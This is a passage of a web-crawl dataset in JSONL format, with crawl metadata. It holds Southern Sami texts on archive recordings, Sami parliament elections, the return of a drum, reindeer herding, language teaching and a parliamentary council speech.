1.000004529953003}","num_words":299,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsamien soptsesh\nSaemien våarhkoe daelie aavoem gihtjehtimmieh åehpiedehtedh åarjelsaemien dajveste.\nSaemien våarhkoe daelie aavoem gihtjehtimmieh åehpiedehtedh åarjelsaemien dajveste.\nNordisk samisk institutt \/Noerhtelaanti saemien instituhten våarhkoe saemien tjoejematerijaaleste 1970-80 låhkoste lea stoerre aarvoste jïh statusem åtna goh njaalmeldh daajroebaanghke. Daesnie ovmessie såarhts baantedimmieh; originaale gihtjehtimmieh jïh soptsestimmieh, buerkiestimmie båatsoen daajroste, soptsesh duedtien jïh vuelien bïjre, baantedimmieh håalemijstie, tjåanghkojste jïh konferansijste. Dïhte njaalmeldh daajroe almetjistie almetjasse lea ovmessie saemien siebriedahkijste Saepmesne. Daesnie maahtah jienebh smaaregïelh jïh daajroevuajnoeh gaavnedh. Dah mah leah sijjen soptsesh soptsestamme leah stoerre aarvoeh dejtie båetije boelvide vadteme.\nMænngan goh Noerhtelaanti saemien instituhte bieline sjïdti Saemien jïlleskuvleste, dïhte sïjse tjöönghkeme tjoejematerijaale Saemien våarhkose bööti. Saemien våarhkoe lea 2013 raejeste naakedem daehtie materijaaleste daan beajjetje digitaale hammose jeatjahtahteme, akten prosjekten tjïrrh maam Nöörjen kultuvreraerie\/Norsk kulturråd lea dåårjeme. Digitaliseradimmie jïh tjoejebueriedimmiem daejstie baantedimmijste lea dorjesovveme sïelteste DigForsk AS.\nVielie goh 40 almetjh leah gihtjehtamme åarjelsaemien dajveste, guktie ovrehte 75 gihtjehtimmieh dajveste gååvnesieh, doh jeanatjommes åarjelsaemien gïelesne.\nHeevehtimmien sjïekenisnie Tråante 2017 Saemien våarhkoe aktem nedtevuasahtallemem åehpiedehtimh, gusnie golme åarjelsaemien gihtjehtimmieh bæjhkoehtimh åarjelsaemien dajven noerhtemes bieleste. Lissine aaj aktem åenehks boelhkem olkese bïejimh guktie maahta krievviem vuejiehtidh viehkine guvhkiehtidh.\nSaemien våarhkoe daelie aavoem åtna orre gihtjehtimmieh åehpiedehtedh åarjelsaemien dajveste. Lill Westerfjell Kalstad dïedtem åtneme baantedimmide veeljedh mejtie daesnie åehpiedehtebe, jïh dïhte aaj webteekstide dorjeme. Ellen Bull Jonassen lea teekstide jarkoestamme. Daniel Gaup, Saemien jïlleskuvle lea tjoejebietskieminie jïh lissie bueriedimmine tjoejeste viehkiehtamme.\nDoh baantedimmieh mejtie daesnie åehpiedehtebe leah åarjelsaemien dajven Sveerjen bieleste. Naemhtie åadtjobe naakedem dehtie gellievoeteste dajvesne åehpiedehtedh. Gaskem jeatjah nuepiem åadtjobe ovmessie smaaregïelh govledh. Seamma tïjjen aavoedibie 2018 lea Sveerjen saemiej heevehtimmiejaepie. Dah gidtjh sijjen voestes saemien rijhketjåanghkoem Staaresne utni goevten 2018, veele aktem jaepien Tråante-tjåanghkoen mænngan. Vielie dan bïjre maahtah lohkedh daesnie www.staare2018.se.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.arkivverket.no\/om-oss\/sami-arkiiva\/aarjelsamien-soptsesh","date":"2020-06-05T14:44:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348502097.77\/warc\/CC-MAIN-20200605143036-20200605173036-00189.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":275,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bearjadahken 20. skïereden 2019\nSnåasen hotelle\nSnåsa Hotell AS, Åsmulvegen, Snåsa, Norge\nBearjadahken 20. skïereden 2019\nSnåasen hotelle\nTeemah: Saetniesvoete jïh likteme\nDagfinn Høybråten lea generaaletjaelije siebresne Kirkens Nødhjelp. Høybråten dååjrehtimmiem åtna laavenjassigujmie politihken jïh reeremen sisnjeli, dovne goh stoerredigkietjirkije, barkoe- jïh sosijaaleministere, healsoeministere jïh direktööre Rikstrygdeverkesne. Dïhte aarebi åvtehke Kristeles Åålmegekrirreste jïh generaaletjaelijinie orreme Noerhtelaanti ministereraeresne.\nStoerredigkien presidentskape lea juvnehtimmiem vadteme Stoerredægkan akten kommisjovnen bïjre mij edtja daaroedehtemepolitihkem jïh ovreaktam kraanskodh mij lea saemiej, kveenaj jïh nöörjenfinneri vøøste orreme. Presidentskape lea Dagfinn Høybråten nammoehtamme goh åvtehke. Kommisjovne edtja reektehtsem deelledh tjaktjen 2022.\nDaesnie maahtah vielie lohkedh Saetniesovete- jïh liktemekommisjovne bïjre Stoerredigkien nedtesæjrojne. https:\/\/www.stortinget.no\/no\/Hva-skjer-pa Stortinget\/Nyhetsarkiv\/Hva-skjer-nyheter\/2017-2018\/sannhets–og-forsoningskommisjonen\/","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/tjaktjen-tjaanghkoe.no\/program-smi\/dagfinn-hoybraten\/?lang=smi","date":"2020-08-15T13:22:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439740848.39\/warc\/CC-MAIN-20200815124541-20200815154541-00063.warc.gz","language":"sma","language_score":0.9989899993,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.998989999294281}","num_words":100,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dikten\/tjihtesen haemie jïh guktie tjaeledh\nHov lea åajvoeh learohkidie vuesiehtidh guktie tjihtesem tjaeledh. Aelhkie jïjnjebh aejkien seammalaaketje raajesh nuhtjedh gosse jïjtje galka tjaeledh.\nÖöhpehtæjja vuesehte learohkidie tjihtesem, vg.: \"Mov jaepie\", gïehtjh lissiedahkem. Ektesne tjamhki lohkijieh, soptsestieh man bïjre lea, jïh guktie tuhtjieh dan bïjre. Jïh dellie edtjieh gaavnedh baakoeh jïh raajesh mah gellien aejkien nuhtjedamme. Nov aaj maehtieh soptsestidh maam jïjtjh utnieh buerie darjodh daelvege, gïjrege jnv. Baakoeh mah dellie båetieh åvtese hov lea buerie taavlesne tjaeledh, åssjalommese-kaarhtine.\nDellie gelkieh learohkh jïjtjh tjaeledh. Joe leah åvtemïerhkem åådtjeme guktie maehtieh tjihtesem haemiedidh, jïh taavlesne maehtieh åssjalommese-kaarhtem gïehtjedidh. Muvhtide lea aelhkebe jis ööhpehtæjja barre måjkoedahta åesiem dehtie tjihtesistie mij lea vuesiehtamme, vg. næmhtie:\nDaelvege manne tjoejkem\nManne lyjhkem tjoejkedh\nManne daelviem lyjhkem\nLoi lo go lo!\nGïjrege manne _____\nManne lyjhkem _____\nManne ______\nLoi lo go lo!\nGiesege manne ______\nManne lyjhkem_______\nManne______\nLoi lo go lo!\nTjaktjege manne______\nManne__________\nManne__________\nLoi lo go lo!\nÖöhpehtæjja gïehtjede guktie learohkh berkieh jïh faala raerieh jis daerpies. Gosse learohkh galhkeme, jïh ööhpehtæjjine ektine tjihtesem dååhkesjadteme, dellie maehtieh paehperem klaeriedidh, rïesedh, guktie tjaebpebe vååjnoe gosse vïedtjesne vååjnesasse gævnjodh.\nÖöhpehtæjja jïh learohkh aaj maehtieh digkiedidh guktie edtjieh baakoeh tjoejedh, haarjanidh tjihtesem tjamhki lohkedh. Mïnngemes dellie maehtieh tjihtesidie dåehkien uvte lohkedh, vuj fiere guhte onnohtje tjihteselohkemefilmetjem dorje, mij mænngan jeatjabidie vuesehte.\n\"Mov jaepie\"-diktese (lissine) aaj maahtah vuesehten löössh tjoejkedh, daanhtsodh jnv.\nLena Kappfjell, Saemien lohkemejarnge, tekstem åarjelsaemiengïelese jarkoestamme.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/ovttas.no\/node\/35616","date":"2021-04-16T18:04:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038088245.37\/warc\/CC-MAIN-20210416161217-20210416191217-00053.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":228,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh nuepie\nGïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe. Juktie væjkalåbpoe gïeline sjïdtedh, tjoerebe jïjnjem lohkedh, tjaeledh jïh gaskesadtedh.\nGïele-vaarjelimmie\nSaemien-gïele annje håvhtadamme. Guktie maehtebe gïelem vaarjelidh jïh evtiedidh? Maam maehtebe darjodh?\nBaakoe-veeljeme\nDaaletje seabradahkesne mijjieh jiene-jienebh orre baakoeh daarpesjibie. Gellien aejkien geerve sjiehteles baakoem gaavnedh. Mijjieh tjoerebe veeljedh lööneme-baakoem nuhtjedh jallh orre saemien seerkeme-baakoem darjodh.\nLæringsressurser\nBaakoe-veeljeme","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:e0205b0d-120d-43c0-a41a-b473ef0e3509\/topic:3a19fe29-f573-4d61-8c1a-7a906acd0fab\/","date":"2023-04-01T22:41:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950363.89\/warc\/CC-MAIN-20230401221921-20230402011921-00143.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":65,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis sïjhth saemiedigkieveeljemisnie tjaktjese steammadidh tjoerh registreradamme Saemiedigkien veeljemelåhkosne årrodh! Sïjsebïeljelimmien mierie lea ruffien 30. biejjien.\nVeeljemelåhkoe – bïeljelh sïjse åvtelen ruffien 30. biejjien\nKategoriNSR\nDato29.05.2021\nVeeljemelåhkoe – bïeljelh sïjse åvtelen ruffien 30. biejjien\nSïjsebïeljelimmien mierie lea ruffien 30. biejjien. Daelie tjoerh skjeemam sïjse seedtedh, jïh vuartesjh mejtie gaajhkh dov fuelhkesne lea registreradamme.\nGie maahta sïjse bïeljelidh?\n- Saemieh mah bijjelen 18 jaepieh jallh 18 jaepieh illieh veeljemejaepien\n- Gaajhkesh mah bæjhkoehtieh dah jïjtjemse utnieh goh saemie jïh saemien hïejmegïeline utnieh, jallh utnieh eejhtegem, aahka aajjam jallh maadteraahka maadteraajjam saemiengïeline goh hïejmegïele\n- Leah maana aktede almetjistie mij almetjelåhkosne tjåådtje jallh tjåådtjeme\nGuktie sïjse bïeljele?\nNov gujht aelhkie sïjse bïeljelidh Saemiedigkien nedtesæjroen baaktoe, tjoerh tjaangedh ID-portaaline\/MinID.\n- Dïedtelh tjaangh sïjse\n- Vuartesjh guktie tjaangedh ID-portaalese\n- Jiehtieh jaavoe sïlline 1 jïh 2\nMan åvteste byörh registreradidh?\nDatne byörh sïjse bïeljelidh jis sæjhta akte Saemiedigkie mij:\n- Vuajna saemien gellievoete mijjen faamoe, jïh edtja feerhmeles årrodh\n- Tjirkije saemiej reaktaj åvteste barkedh\n- Saemiej gaavhtan stoerreseabradahkesne gymhpe, jïh vuestiebïegkesne tjåådtje\n- Saemien gïele- jïh kultuvrefaalenassh prijoriterede gusnie saemieh årroeminie, jïh darjodh guktie attraktijve sjædta saemien voenide juhtedh\nJis daate vaajtelh byörh sïjse bïeljelidh guktie NSRm steammadidh.\nDaate veeljeme otnjege Saemiedigkesne, jïh vuastalimmiem åadtjobe muvhtijste mah sijhtieh jïjnjem orrijehtedh mah joe Saepmesne tseegkeme.\nDatnem daarpesjibie!\nViehkehth mijjem rekruteeredh!\nJalhts joe veeljemelåhkosne årroeh, maahtah gihtjedh mejtie dah dov fuelhkesne jïh voelph meatan. Daamtaj noerh eah veeljemelåhkose registreradamme, juktie eah daejrieh dah tjuerieh sïjse bïeljelidh, jallh juktie eah dan bïjre ussjedamme. Gihtjh gaajhkh datne damth mah 18 jaepien båeries sjïdteme minngemes veeljemistie jallh dam sjidtieh daan jaepien!\nSeedth bïevnesem almetjidie mah maahtah rekruteeredh!\nMujhtieh mieriem ruffien 30.b. jïh steammedh NSRm!\nBuerie biejjie!\nDaan tjaktjen dov voestes aejkien stoerredigkie- jïh saemiedigkienveeljemisnie steammadidh. Dan åvteste gihtjem mejtie datne saemiedigkien veeljemelåhkosne registreradamme? Jis daam darjoeh ih daarpesjh steammadidh, menh dov nuepiem åadtjoeh daam darjodh. Ij naan automatihke sïjsebïeljelimmie veeljemelåhkose gosse 18 jaepien båeries sjïdth\/sjïdteme (numhtie stoerredigkieveeljemisnie). Datne tjoerh jïjtjemdh sïjse tjaeledh åvtelen ruffien 30.biejjien 2021 jis edtjh nuepiem utnedh steammadidh daan jaepien saemiedigkieveeljemisnie. Nov gujht aelhkie dam darjodh! Linkem nedtesæjrose sïjsebïeljelimmie-skjeemine bïejem.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/nsr.no\/sma\/nsr\/veeljemelahkoe-bieljelh-sijse-avtelen-ruffien-30-biejjien\/","date":"2023-09-25T07:20:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506686.80\/warc\/CC-MAIN-20230925051501-20230925081501-00591.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":322,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Numhtie saemiedigkieraerie Maja Kristine Jåma (NSR) soptsesti Saemiedigkien stoerretjåanghkosne aamhtesinie Raerien soptsese:\nAavosne Freavnantjahken gievrie bååstede båata\nKategoriNord-Trøndelag sameforening\nDato27.09.2023\nAavosne Freavnantjahken gievrie bååstede båata\nGæjhtoe tjåanghkoeåvtehke.\n\"Domtoe goh daate dan vaestiedasse jalhts ibie daejrieh daan gyhtjelassem annje\"\nNimhtie Suvi West soptseste sov dokumeenterefilmesne Máchhan – the homecoming gusnie prosessem fulkie saemien bååstede-sertiestimmine.\nTuhtjem dïhte sjïehteleslaakan buerkeste man åvteste daerpies mijjen aejlies daeverh utnedh mijjen dajvesne mijjen åålmegi lïhke. Dïhte aaj tjïerteste man åvteste saemieh edtjieh saemien kultuvreaerpiem eekedh, reeredh jïh bievnedh jïjtsh premissi mietie.\nStoerre saerniem fihkimh govledh ruffien gosse nænnoestamme Freavnantjahken gievrie gåatan båata. Sïjhtem Saemien sijtem garmerdidh, mij ïedtjem vaalteme prieviem tjaeledh jïh mænngan Saemiedigkine, Kultuvre jïh mïrrestallemedepartemetine, Nöörjen ambassadine Berlin:esne jïh Meiningen museuminie laavejosteme.\nUssjedh, daate gievrie ammes gïetine orreme 300 jaepieh. Mohte båetije asken aelhkebe gievriem bååstede meatan vaeltedh Tyskelaanteste Saapman, jïh rahkan 3.biejjien saemieh åadtjoeh jïjtjh gievriem dåastodh Saemien sijtesne.\nVååjnoe goh stuerebe goerkesem åadtjobe dagkerinie aamhtesinie. Seamma aejkien Saemien sijte orre museumegåetie krïevenasside illie ihke maahta kultuvredaeverh åadtjodh.\n\"Domtoe goh daate dan vaestiedasse jalhts ibie daejrieh daan gyhtjelassem annje\"\nDaerpies jienebh musumh, jïh institusjovnh evtiedidh. Dan åvteste Saemiedigkieraerie daam aamhtesem bæjjese lutnjie soptsestimmine Reerenassine. Mijjen stoerre vuartoeh båetije jaepien staahtebudsjeehtese jïh saemien gïele- jïh kultuvrelutnjemasse mah dah luhpiedamme.\nDovne Saetniesvoete jïh liktemekommisjoven reektehtse jïh Stoerredigkiebïevnese \"Kunstnerkår\" tjuvtjede daam seamma daerpiesvoetese jïh nuepiem vadta jåerhkedh dejnie barkedh.\nTjåanghkoeåvtehke, ih sïjhth goerehtalledh guktie maehtebe mijjen vuajnoeh jïh aarvoe politihkesne nuhtjedh? Daam faamoem mijjieh maadtojste eerpeme? Tuhtjem daam darjobe gellie aamhtesinie daan våhkoen Saemiedigkien stoerretjåanghkosne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/nsr.no\/nord-trondelag-sameforening\/aavosne-freavnantjahken-gievrie-baastede-baata\/","date":"2023-11-29T09:48:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100057.69\/warc\/CC-MAIN-20231129073519-20231129103519-00850.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":247,"character_repetition_ratio":0.057,"word_repetition_ratio":0.017,"special_characters_ratio":0.135,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie sijjine åarjelsaepmesne jïjnje lopme aajmene vaeresne. Dellie barkoe bovtsigujmie geervebe sjædta. Daana Fjällberg Njaarken sïjteste tjomperde guktie dan giesien edtja sjïdtedh.\nDaana Fjällberg\nMaahta hov skovtere ennje vuejedh\nFjällberg soptseste jååktan bijjene varesne lij jïh desnie ij dan kruana goh pråvhka dan tijjien årrodh. – Dïhte lea bielie bïevle, bielie lopme, Fjällberg jeahta.\nNåake aalkoe\nGosse dan jïjnje lopme aajmene dle nåake aalkoe mieside sjædta. Fjällberg soptseste miesieh provhkieh dovne slovhpedidh jïh aelkedh ånnetji sjædtoeh dan tijjesne byøpmedh , mohte dan jaepien ij leah dan kruana ennje sjïdteme. Jïh goh daelie vååjnoe, eah maehtieh aelkedh miesieh lïhkemes tijjesne mïerkesjidh .\n– Ibie mijjieh maehtieh tjøønghkedh jïh geadtan tsaekedh daelie, daesnie mijjien luvnie ij gååvnesh maam gåatomegiedtesne byøpmedh, dïhte bïeljele.\nDaana Fjällberg\nKaanne dah miesieh unnebe sjïdtieh\nGeerve daejredh\nDej minngemes jaepieh geervebe geervebe sjïdteme veareldem gïehtjedidh. Daana Fjällberg veanhta naemhtie båetije biejjieh jåarhka, jïh ahte almetjh åadtjoeh haarjanidh – Kaanne mijjieh åådtjebe daejnie veareldine jïeledh, dohkh diekie, Fjällberg soptseste.\nFjällberg aaj soptseste beetneh-gythtjelasse sjædta mejtie veareldem naemhtie jåarhka. Dellie tjuara gellie aejkieh tjøønghkedh jïh dïhte aaj dovrebe sjædta enn jis maehtieh darjodh juktie provhkieh.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/aadtjoeh-vuertedh-miesieh-mierkesjidh-1.12425309","date":"2017-09-20T10:00:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818686983.8\/warc\/CC-MAIN-20170920085844-20170920105844-00320.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":180,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse mijjieh jortehtibie mijjieh maehtebe viertiestimmieh, metafovrh jïh klisjeh nuhtjedh gïeleviehkie-dïrreginie. Gosse viertiestimmiem nuhtjebe, dellie maam akt mejnie akt jeatjabinie viertiestibie. Metafovre aaj akte viertiestimmie, men dellie ibie viertiestimmie-baakoem goh nuhtjh.\nMetafovre\nGosse mijjieh jortehtibie dellie maehtebe metafovrh nuhtjedh. Akte metafovre lea aaj viertiestimmie, men dellie ibie viertiestimmie-baakoem goh nuhtjh raajesisnie. Gosse ibie viertiestimmie-baakoem nuhtjh dellie mijjieh maehtebe raajesem sagke tjyölkehkåbpoe guarkedh. Jïh dellie ibie maehtieh raajesem jeatjhlaakan guarkedh.\nVuesiehtimmieh\nMetafovre: Datne akte staaloe\nViertiestimmie: Datne goh akte staaloe\nVijriedamme metafovre\nMaehtebe aktem metafovrem vijriedidh. Dellie gellie raajesh maehtieh metafovrine årrodh. Dellie mijjieh dam metafovrem gåhtjobe vijriedamme metafovre. Nils-Aslak Valkeapää lea diktem Mov veasoe lea mov vaajmosne tjaaleme. Diktesne Valkeapää metafovrem veasoe nuhtjeme, jïh diktesne Valkeapää dam metafovrem vijrede jïh buerkeste.\nMov veasoe lea mov vaajmosne\nMov veasoe lea mov vaajmosne\nmij mov aktine jåhta\nmov luvnie vuelie jeala\ndesnie aaj maanaj praahkese\nbealloeh skaenieh\nbïenjh huhtieh\nsoehpenje sjåvva\ngåptoej lastoeh straptjoeh\nsaemiej nïejti gaalsohkh\nmojjehtese aejkede\nMov veasoe lea mov vaajmosne\nmij mov aktine jåhta. [1]\nKlisje\nGosse mijjieh jortehtibie dellie maehtebe klisjeh nuhtjedh. Akte klisje lea viertiestimmie jallh metafovre mah mijjieh fer jïjnjem nuhtjebe. Akte klisje maahta dovne baakoeh jïh jiehtegh årrodh. Jis mijjieh maam akt gellien aejkien govleme juktie maehtebe jiehtedh ov-rovne sjïdteme dellie daate akte klisje. Daaroen gïelesne raajesh guktie; Lise skinte som en sol, jïh Hun er som en rose leah klisjeh. Mijjieh aaj maehtebe jiehtedh akte baakoe lea klisje. Dellie mijjieh daam baakoem dan gellien aejkien nuhtjebe guktie baakoe faamoem dassa.\n- 1«Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien». Kappfjell, Lena Gaski, Harald. DAT o.s. 2005.\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:164536","date":"2019-05-24T16:04:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257660.45\/warc\/CC-MAIN-20190524144504-20190524170504-00167.warc.gz","language":"sma","language_score":0.9999784231,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999784231185913}","num_words":281,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjåanghkoeåvtehke,\nManne aalkam aktine itjmies teemine mij dovne bååktjehke jïh ovmurreds mijjen siebriedahkese. Læjhkan dle joekoen daerpies dan bïjre soptsestidh. Tjoerebe jïjtsanne meatodh akte ovkultuvre tseegkesovveme gusnie libie sjeavohth sijjeste gïelem lutnjedh – jïh tjïelkelaakan jiehtebe mijjieh ibie vædtsoesvoetem jååhkesjh.\nDaan biejjien, nyjsenebiejjien, Saemiedigkie jïh Justijsedepartemeente aktem dotkemereektehtsem åehpiedehtieh vædtsoesvoeten bïjre lïhke fuelhkine saemien siebriedahkine, mij vuaptastahta guktie leerhkehtallijh dååsteme sjidtieh viehkieabparaateste. Reektehtse vuesehte daate akte teema gusnie sjeavodsvoete jïh taabuvh reerieh. Lissine aaj reektehtse vuesehte saemien åålmege vuelege seahkarimmiem åtna dovne viehkieabparaatese jïh pollisese. Reektehtse «Jis doesth gihtjedh, almetjh duestieh vaestiedidh» tjïelkelaakan vuesehte mijjieh jïjnjem utnebe darjodh saemien siebriedahkesne. Tjoerebe aktem nåake sjeavodsvoetekultuvren vööste gæmhpodh, jïh tjoerebe nulltoleransem vædtsoesvoetese tseegkedh. Daate akte barkoe mejnie Saemiedigkieraerie sæjhta vielie barkedh rååresjimmesne staateles åejvieladtjigujmie. Mijjieh edtjebe tjïelkelaakan tjïertestidh mijjieh sjïere råajvarimmieh daarpesjibie juktie dam nåhkehtidh, jïh sïjhtebe dam tjarke prioriteradidh.\nTjåanghkoeåvtehke,\nSeammalaakan Saemiedigkien guhkiebasse barkoen bïjre NOU:ste 2016: 18 Vaajmoegïele, mij lea govlehtimmesne daelie. Aktene våhkosne govlehtimmiemierie nåhka, jïh Saemiedigkieraerien gaavhtan lea joekoen vihkeles orreme dam sivijle saemien siebriedahkem meatan vaeltedh jïh eadtjoestidh. Mijjieh sïjhtebe Vaajmoegïele-salkehtimmie edtja akte dejstie vihkielommes stuvremetjaatsegijstie årrodh juktie dam båetijen aejkien saemiepolitihkem hammoedidh gelliej suerkiej sisnjeli, aaj nasjonaale.\nTjoerebe dan åvteste hoksedh daate NOU:e ij gællan sjidth aktene skåapesne. Saemiedigkie lea gellie govlehtimmieseminaarh Vaajmoegïelen bïjre öörnedamme, jïh lissine libie meatan orreme jieniebinie mejtie mubpieh leah öörnedamme, juktie dan jïjnjem tsåatskelesvoetem sjugniedidh reektehtsen bïjre saemien siebriedahkesne goh gåarede. Mijjieh guessine mïnneme åarjelsaemien, julevsaemien jïh noerhtesaemien gïeledajvine, jïh åådtjeme govledh gelliej ovmessie dåeriesmoeretjoelmi bïjre dej saemien gïeli bïjre Nöörjen byögkelesvoetesne. Jïjnjh dejstie teemijste mejtie almetjh leah tuhtjeme vihkeles orreme lea hoksedh gïele aaj boelveste boelvese jeala: man vihkeles saemien maanagïerth tseegkedh maehteles barkijigujmie mah saemiestieh, saemien faagealmetjh dåårrehtidh skuvlesuarkan, jïh man vihkeles lea åadtjodh sov vaajmoegïelem healsoesuerkesne soptsestidh. Salkehtimmie vielie goh tjuetie råajvarimmieh mijjen gielide raereste, jïh Saemiedigkieraerie haasta dovne privaate almetjh, siebrieh, institusjovnh jïh jielemeaktöörh sijjen mïelem buektedh daej teemaj bïjre åvtelen govlehtimmiemierie nåhka aktene askesne. Jis saemien siebriedahke ij soptsesth mejtie dah utnieh daah råajvarimmieh goh hijven jïh daerpies, guktie edtjebe dellie veanhtadidh stoerresiebriedahke sæjhta dam mïeledh? Raeriestimmiej våarome lea dïhte mij lea Saemiedigkien åejvieulmie juktie saemien gïelh evtiedidh, gidtjh låhkoem gïeleutniejijstie lissiehtidh jïh åtnoem dejstie saemien gielijste siebriedahkesne lissiehtidh. Daate aktem ektie barkoem kreava, jïh mijjen ellies tsåatskelesvoetem tïjjen åvtese.\nTjåanghkoeåvtehke,\nGoh dagke doh jeanatjommesh daennie savkesne daejrieh dle manne bïeljelamme im leah vielie lïhtsege Barkijekrirresne , jïh dan minngemes tïjjen dle presidente jïh 3 raerielïhtsegh saemiedigkieraeresne orreme.\nLaavenjostoeguejmieh leah annje sïemes aalkoebæjhkoehtimmie jïh laavenjostoelatjkoe gaskem Bk, Arja jïh Åelkieskrirrie leah faamosne. Jïh rætnoe dle 4. raerielïhtsege Barkoekrirreste nammoehtamme sjædta.\nTjåanghkoeåvtehke,\nMinngemosth sïjhtem bååstede vuartasjidh dïsse mij sæjhta aajmene tjåadtjodh goh akte dejstie tjaebpemes mojhtesijstie saemien siebriedahkese daan jaepien. Akten abpe våhkoen – vååjni ov goh abpe Saepmie – lij histovrijes sijjesne Tråantesne tjåanghkenamme. Doh gellie tjåanghkoeh saemiej gaskem gaajhkijste njieljie laantijste mijjen jïjjedomtesem nænnoestehtin goh akte åålmege. Dovne veaksehke jïh iemie dan gellielaaketje saemieh vuartasjidh Tåarjesne Tråantesne mijjen åålmegebiejjien. Jïh gellie daaroeh aaj mijjem læhkoehtin – saemien gielesne!\nAadtjen lim vihth guessine åarjelsaemien dajvesne. Tjïelkelaakan vååjnoe goh Tråanten 2017 aalkoe lea vitamijnedåarjojne sjïdteme åarjelsaemien siebriedahkese, jïh jeenjesh jiehtieh dah orre faamoem jïh gæmhpoevæljoem åådtjeme. Abpe saemien siebriedahke annje jïjnjh vihkeles aamhtesh åtna mej åvteste tjuara gæmhpodh. Maehtebe gegkiestidh dïhte nasjonaale ïedtje maam dïhte saemien åadtjoeji Tråantesne, aaj mijjese jïjnjh orre dåarjoehtæjjah vadteme mijjen guhkiebasse barkosne.\nTjåanghkoeåvtehke,\nJalhts heevehtimmievåhkoe Tråante lea nåhkeme, dle annje gellie jeatjah sjïere jïh vihkeles meerhkesjimmieh mah sijhtieh båetedh daan jaepien. Åarjelsaemien nyjsenæjja Elsa Laula Renberg jïjnjem tsåatskelesvoetem åadtjoeji Tråante-våhkoen men Saepmien jïjnjh jeatjah staalehkh. Naakenh dejstie sïjhtebe mujhtedh jïh aavoedidh daan 